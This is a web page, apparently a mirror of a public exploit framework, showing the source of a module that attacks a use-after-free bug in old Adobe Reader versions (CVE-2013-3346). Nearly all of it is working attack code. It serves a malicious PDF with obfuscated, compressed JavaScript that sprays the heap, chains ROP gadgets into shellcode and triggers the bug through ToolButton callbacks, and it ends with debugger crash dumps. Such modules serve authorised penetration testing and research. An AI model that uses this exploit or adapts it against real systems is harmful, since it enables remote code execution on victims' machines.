Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_toolbutton.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::BrowserExploitServer910def initialize(info={})11super(update_info(info,12'Name' => "Adobe Reader ToolButton Use After Free",13'Description' => %q{14This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.615and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where16the cEnable callback can be used to early free the object memory. Later use of the object17allows triggering the use after free condition. This module has been tested successfully18on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in19November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order20to exploit Adobe Reader 9 the fileformat version of the exploit can be used.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Soroush Dalili', # Vulnerability discovery26'Unknown', # Exploit in the wild27'sinn3r', # Metasploit module28'juan vazquez' # Metasploit module29],30'References' =>31[32[ 'CVE', '2013-3346' ],33[ 'OSVDB', '96745' ],34[ 'ZDI', '13-212' ],35[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],36[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]37],38'Platform' => 'win',39'Arch' => ARCH_X86,40'Payload' =>41{42'Space' => 1024,43'BadChars' => "\x00",44'DisableNops' => true45},46'BrowserRequirements' =>47{48:source => /script|headers/i,49:os_name => OperatingSystems::Match::WINDOWS_XP,50:ua_name => Msf::HttpClients::IE51},52'Targets' =>53[54[ 'Windows XP / IE / Adobe Reader 10/11', { } ],55],56'Privileged' => false,57'DisclosureDate' => '2013-08-08',58'DefaultTarget' => 0))5960end6162def on_request_exploit(cli, request, target_info)63print_status("request: #{request.uri}")64js_data = make_js(cli, target_info)65# Create the pdf66pdf = make_pdf(js_data)67print_status("Sending PDF...")68send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })69end7071def make_js(cli, target_info)72# CreateFileMappingA + MapViewOfFile + memcpy rop chain73rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))74rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))75escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))7677js = %Q|78function heapSpray(str, str_addr, r_addr) {79var aaa = unescape("%u0c0c");80aaa += aaa;81while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;82var i1 = r_addr - 0x24;83var bbb = aaa.substring(0, i1 / 2);84var sa = str_addr;85while (sa.length < (0x0c0c - r_addr)) sa += sa;86bbb += sa;87bbb += aaa;88var i11 = 0x0c0c - 0x24;89bbb = bbb.substring(0, i11 / 2);90bbb += str;91bbb += aaa;92var i2 = 0x4000 + 0xc000;93var ccc = bbb.substring(0, i2 / 2);94while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;95var i3 = (0x1020 - 0x08) / 2;96var ddd = ccc.substring(0, 0x80000 - i3);97var eee = new Array();98for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";99return;100}101var shellcode = unescape("#{escaped_payload}");102var executable = "";103var rop10 = unescape("#{rop_10}");104var rop11 = unescape("#{rop_11}");105var r11 = false;106var vulnerable = true;107108var obj_size;109var rop;110var ret_addr;111var rop_addr;112var r_addr;113114if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {115obj_size = 0x360 + 0x1c;116rop = rop10;117rop_addr = unescape("%u08e4%u0c0c");118r_addr = 0x08e4;119ret_addr = unescape("%ua8df%u4a82");120} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {121r11 = true;122obj_size = 0x370;123rop = rop11;124rop_addr = unescape("%u08a8%u0c0c");125r_addr = 0x08a8;126ret_addr = unescape("%u8003%u4a84");127} else {128vulnerable = false;129}130131if (vulnerable) {132var payload = rop + shellcode;133heapSpray(payload, ret_addr, r_addr);134135var part1 = "";136if (!r11) {137for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");138}139part1 += rop_addr;140var part2 = "";141var part2_len = obj_size - part1.length * 2;142for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");143var arr = new Array();144145removeButtonFunc = function () {146app.removeToolButton({147cName: "evil"148});149150for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);151}152153addButtonFunc = function () {154app.addToolButton({155cName: "xxx",156cExec: "1",157cEnable: "removeButtonFunc();"158});159}160161app.addToolButton({162cName: "evil",163cExec: "1",164cEnable: "addButtonFunc();"165});166}167|168169js170end171172def random_non_ascii_string(count)173result = ""174count.times do175result << (rand(128) + 128).chr176end177result178end179180def io_def(id)181"%d 0 obj \n" % id182end183184def io_ref(id)185"%d 0 R" % id186end187188189#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/190def n_obfu(str)191#return str192result = ""193str.scan(/./u) do |c|194if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'195result << "#%x" % c.unpack("C*")[0]196else197result << c198end199end200result201end202203204def ascii_hex_whitespace_encode(str)205result = ""206whitespace = ""207str.each_byte do |b|208result << whitespace << "%02x" % b209whitespace = " " * (rand(3) + 1)210end211result << ">"212end213214215def make_pdf(js)216xref = []217eol = "\n"218endobj = "endobj" << eol219220# Randomize PDF version?221pdf = "%PDF-1.5" << eol222pdf << "%" << random_non_ascii_string(4) << eol223224# catalog225xref << pdf.length226pdf << io_def(1) << n_obfu("<<") << eol227pdf << n_obfu("/Pages ") << io_ref(2) << eol228pdf << n_obfu("/Type /Catalog") << eol229pdf << n_obfu("/OpenAction ") << io_ref(4) << eol230# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load231pdf << n_obfu("/AcroForm ") << io_ref(6) << eol232pdf << n_obfu(">>") << eol233pdf << endobj234235# pages array236xref << pdf.length237pdf << io_def(2) << n_obfu("<<") << eol238pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol239pdf << n_obfu("/Count 1") << eol240pdf << n_obfu("/Type /Pages") << eol241pdf << n_obfu(">>") << eol242pdf << endobj243244# page 1245xref << pdf.length246pdf << io_def(3) << n_obfu("<<") << eol247pdf << n_obfu("/Parent ") << io_ref(2) << eol248pdf << n_obfu("/Type /Page") << eol249pdf << n_obfu(">>") << eol # end obj dict250pdf << endobj251252# js action253xref << pdf.length254pdf << io_def(4) << n_obfu("<<")255pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5)256pdf << n_obfu(">>") << eol257pdf << endobj258259# js stream260xref << pdf.length261compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))262pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol263pdf << "stream" << eol264pdf << compressed << eol265pdf << "endstream" << eol266pdf << endobj267268###269# The following form related data is required to get icucnv36.dll / icucnv40.dll to load270###271272# form object273xref << pdf.length274pdf << io_def(6)275pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol276pdf << endobj277278# form stream279xfa = <<-EOF280<?xml version="1.0" encoding="UTF-8"?>281<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">282<config xmlns="http://www.xfa.org/schema/xci/2.6/">283<present><pdf><interactive>1</interactive></pdf></present>284</config>285<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">286<subform name="form1" layout="tb" locale="en_US">287<pageSet></pageSet>288</subform></template></xdp:xdp>289EOF290291xref << pdf.length292pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol293pdf << "stream" << eol294pdf << xfa << eol295pdf << "endstream" << eol296pdf << endobj297298###299# end form stuff for icucnv36.dll / icucnv40.dll300###301302303# trailing stuff304xrefPosition = pdf.length305pdf << "xref" << eol306pdf << "0 %d" % (xref.length + 1) << eol307pdf << "0000000000 65535 f" << eol308xref.each do |index|309pdf << "%010d 00000 n" % index << eol310end311312pdf << "trailer" << eol313pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol314315pdf << "startxref" << eol316pdf << xrefPosition.to_s() << eol317318pdf << "%%EOF" << eol319320end321end322323324=begin325326* crash Adobe Reader 10.1.4327328First chance exceptions are reported before any exception handling.329This exception may be expected and handled.330eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001331eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy332cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213333AcroRd32_60000000!PDFLTerm+0xbb7cd:334604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????335336* crash Adobe Reader 11.0.2337338(940.d70): Access violation - code c0000005 (first chance)339First chance exceptions are reported before any exception handling.340This exception may be expected and handled.341*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -342eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000343eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy344cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213345AcroRd32_60000000!DllCanUnloadNow+0x1493ae:34660197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????347348=end349350351352